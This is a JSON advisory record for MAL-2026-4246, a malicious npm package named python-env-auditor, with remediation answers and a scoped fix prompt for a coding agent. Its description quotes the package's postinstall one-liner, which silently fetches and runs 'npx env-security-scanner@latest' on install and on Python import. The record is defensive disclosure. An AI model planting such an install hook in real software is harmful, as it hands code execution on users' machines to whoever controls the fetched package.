{"answers":{"affected":"1 open source package ship an affected version, including python-env-auditor.","exploited":"There is no known exploitation of MAL-2026-4246 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4246 is a malicious package in python-env-auditor, published on 22 May 2026."},"fix_prompt":"MAL-2026-4246 is a malicious package: python-env-auditor (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4246/ (Markdown: https://insights.sbomify.com/MAL-2026-4246/index.md)","id":"MAL-2026-4246","markdown":"https://insights.sbomify.com/MAL-2026-4246/index.md","name":"MAL-2026-4246","record":{"aliases":["GHSA-939m-5vr8-382c"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package fetches and executes a mutable, unpinned third-party npm package (`env-security-scanner@latest`) on every install and on every Python import. The `postinstall` lifecycle hook in package.json runs `node -e \"try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}\"` — no version pin, no integrity check, errors silently swallowed. The Python module `python_env_auditor/__init__.py` calls `run_audit()` at top level, which subprocess-runs the same `npx env-security-scanner@latest audit_environment` command, so any `import python_env_auditor` also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing 'install'/'develop'. The package is published to npm but its `main` is `setup.py` and it ships a Python module — a cross-ecosystem cover story. Author metadata is placeholder ('Python Environment Security Team') and the referenced GitHub URL does not exist. Whoever controls the `env-security-scanner` name on npm controls code execution on every installer's machine and on every consumer process that imports this module.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in python-env-auditor (npm)","id":"MAL-2026-4246","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"python-env-auditor","purl":"pkg:npm/python-env-auditor","source":"MAL-2026-4246"}],"products":null,"published":"2026-05-22","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4246/"}